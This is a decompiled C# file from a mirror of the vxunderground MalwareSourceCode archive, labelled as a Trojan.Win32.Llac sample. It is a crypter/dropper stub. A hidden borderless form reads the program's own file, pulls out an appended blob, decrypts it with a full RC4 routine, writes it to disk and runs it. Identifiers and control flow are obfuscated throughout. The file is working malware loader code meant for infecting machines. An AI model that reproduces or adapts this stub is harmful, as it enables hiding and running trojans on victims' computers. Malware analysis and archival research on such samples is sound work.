mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
f2ac1ece55
add
271 lines
7.6 KiB
C#
271 lines
7.6 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
|
||
|
||
using \u0001;
|
||
using \u0005;
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
using System.Text;
|
||
using System.Windows.Forms;
|
||
|
||
namespace \u0005
|
||
{
|
||
internal sealed class \u0002 : Form
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0002 \u0001;
|
||
private IContainer \u0001;
|
||
|
||
static \u0002() => \u0004.\u0002(typeof (\u0002));
|
||
|
||
public \u0002()
|
||
{
|
||
\u0092\u0003.\u008B\u0004((object) this, new EventHandler(this.\u0002));
|
||
this.\u0002();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose([In] bool obj0)
|
||
{
|
||
try
|
||
{
|
||
if (!obj0 || this.\u0001 == null)
|
||
return;
|
||
this.\u0001.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
\u001C\u0003.\u008D\u0004((object) this, obj0);
|
||
}
|
||
}
|
||
|
||
private void \u0002()
|
||
{
|
||
this.SuspendLayout();
|
||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
if (true)
|
||
{
|
||
if (true)
|
||
{
|
||
if (false)
|
||
goto label_7;
|
||
else
|
||
goto label_8;
|
||
}
|
||
}
|
||
else
|
||
goto label_8;
|
||
label_6:
|
||
\u008D\u0003.\u007E\u007F\u0004((object) this, \u0002.\u0001(322));
|
||
\u008D\u0003.\u007E\u008A\u0004((object) this, \u0002.\u0001(322));
|
||
label_7:
|
||
\u001C\u0003.\u007E\u0080\u0004((object) this, false);
|
||
return;
|
||
label_8:
|
||
this.ClientSize = new Size(10, 10);
|
||
if (true)
|
||
{
|
||
if (false)
|
||
return;
|
||
\u0090\u0003.\u007E\u0086\u0004((object) this, FormBorderStyle.None);
|
||
\u001C\u0003.\u007E\u0088\u0004((object) this, false);
|
||
\u001C\u0003.\u007E\u0089\u0004((object) this, false);
|
||
goto label_6;
|
||
}
|
||
else
|
||
goto label_7;
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||
private void \u0002([In] object obj0, [In] EventArgs obj1)
|
||
{
|
||
label_0:
|
||
int num1;
|
||
int num2;
|
||
try
|
||
{
|
||
\u0084\u0003.\u0015\u0004();
|
||
num2 = 1;
|
||
label_1:
|
||
int num3 = 2;
|
||
string str1 = \u000F\u0003.\u008D\u0003();
|
||
label_2:
|
||
if (true)
|
||
num3 = 3;
|
||
else
|
||
goto label_18;
|
||
label_4:
|
||
FileSystem.FileOpen(1, \u000F\u0003.\u001C\u0004(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||
label_5:
|
||
num3 = 4;
|
||
string str2 = \u0089\u0003.\u001A\u0004(checked ((int) \u0081\u0003.\u0011\u0004(1)));
|
||
label_6:
|
||
if (true)
|
||
{
|
||
num3 = 5;
|
||
\u007F\u0003.\u000F\u0004(1, ref str2, -1L, false);
|
||
}
|
||
else
|
||
goto label_16;
|
||
label_8:
|
||
num3 = 6;
|
||
int[] numArray1 = new int[1]{ 1 };
|
||
\u001F\u0003.\u000E\u0004(numArray1);
|
||
label_9:
|
||
num3 = 7;
|
||
string[] strArray = \u008A\u0003.\u001B\u0004(str2, \u0002.\u0001(331), -1, CompareMethod.Binary);
|
||
label_10:
|
||
string str3;
|
||
if (true)
|
||
{
|
||
num3 = 8;
|
||
str3 = \u0002.\u0002(strArray[1], \u0002.\u0001(356));
|
||
}
|
||
else
|
||
goto label_4;
|
||
label_12:
|
||
num3 = 9;
|
||
\u001E\u0003.\u0008\u0004(5, \u0008\u0002.\u0092(str1, \u0002.\u0001(377)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
|
||
label_13:
|
||
num3 = 10;
|
||
if (true)
|
||
\u0080\u0003.\u0010\u0004(5, str3, -1L, false);
|
||
else
|
||
goto label_9;
|
||
label_15:
|
||
num3 = 11;
|
||
int[] numArray2 = new int[1]{ 5 };
|
||
\u001F\u0003.\u000E\u0004(numArray2);
|
||
label_16:
|
||
num3 = 12;
|
||
Process process = \u0099.\u0015(\u0008\u0002.\u0092(str1, \u0002.\u0001(377)));
|
||
label_17:
|
||
num3 = 13;
|
||
\u0096.\u007E\u008C\u0004((object) this);
|
||
label_18:
|
||
\u0084\u0003.\u0016\u0004();
|
||
goto label_25;
|
||
label_20:
|
||
num1 = num3;
|
||
switch (num2)
|
||
{
|
||
case 1:
|
||
int num4 = num1 + 1;
|
||
num1 = 0;
|
||
switch (num4)
|
||
{
|
||
case 1:
|
||
goto label_0;
|
||
case 2:
|
||
goto label_1;
|
||
case 3:
|
||
goto label_2;
|
||
case 4:
|
||
goto label_5;
|
||
case 5:
|
||
goto label_6;
|
||
case 6:
|
||
goto label_8;
|
||
case 7:
|
||
goto label_9;
|
||
case 8:
|
||
goto label_10;
|
||
case 9:
|
||
goto label_12;
|
||
case 10:
|
||
goto label_13;
|
||
case 11:
|
||
goto label_15;
|
||
case 12:
|
||
goto label_16;
|
||
case 13:
|
||
goto label_17;
|
||
case 14:
|
||
goto label_25;
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
goto label_20;
|
||
}
|
||
throw \u0082\u0003.\u0013\u0004(-2146828237);
|
||
label_25:
|
||
if (num1 == 0)
|
||
return;
|
||
\u0084\u0003.\u0015\u0004();
|
||
}
|
||
|
||
public static string \u0002([In] string obj0, [In] string obj1)
|
||
{
|
||
int index1 = 0;
|
||
int index2 = 0;
|
||
StringBuilder stringBuilder1 = new StringBuilder();
|
||
string empty = string.Empty;
|
||
int[] numArray1 = new int[257];
|
||
int[] numArray2 = new int[257];
|
||
int length = obj1.Length;
|
||
int index3 = 0;
|
||
while (index3 <= (int) byte.MaxValue)
|
||
{
|
||
char ch = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj1, index3 % length, 1))[0];
|
||
numArray2[index3] = \u0087\u0003.\u0018\u0004(ch);
|
||
numArray1[index3] = index3;
|
||
int num = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
|
||
}
|
||
int index4 = 0;
|
||
int index5 = 0;
|
||
while (index5 <= (int) byte.MaxValue)
|
||
{
|
||
index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
|
||
int num1 = numArray1[index5];
|
||
numArray1[index5] = numArray1[index4];
|
||
numArray1[index4] = num1;
|
||
if (true)
|
||
{
|
||
int num2 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index5), checked (index5 - 1));
|
||
}
|
||
else
|
||
goto label_9;
|
||
}
|
||
index3 = 1;
|
||
goto label_10;
|
||
label_9:
|
||
char ch1 = \u0001\u0002.\u007E\u0089((object) \u0004\u0002.\u007E\u008D((object) obj0, checked (index3 - 1), 1))[0];
|
||
int num3;
|
||
int num4 = \u0087\u0003.\u0018\u0004(ch1) ^ num3;
|
||
StringBuilder stringBuilder2 = \u0012\u0002.\u007E\u0099((object) stringBuilder1, \u0088\u0003.\u0019\u0004(num4));
|
||
int num5 = \u001F\u0002.\u0019\u0002(\u0089\u0002.\u0089\u0002(ref index3), checked (index3 - 1));
|
||
label_10:
|
||
if (index3 <= \u009C.\u007E\u008A((object) obj0))
|
||
{
|
||
index1 = checked (index1 + 1) % 256;
|
||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||
int num6 = numArray1[index1];
|
||
numArray1[index1] = numArray1[index2];
|
||
numArray1[index2] = num6;
|
||
num3 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||
goto label_9;
|
||
}
|
||
else
|
||
{
|
||
string str = \u009A.\u007E\u0096((object) stringBuilder1);
|
||
\u0010\u0002.\u007E\u0097((object) stringBuilder1, 0);
|
||
return str;
|
||
}
|
||
}
|
||
}
|
||
}
|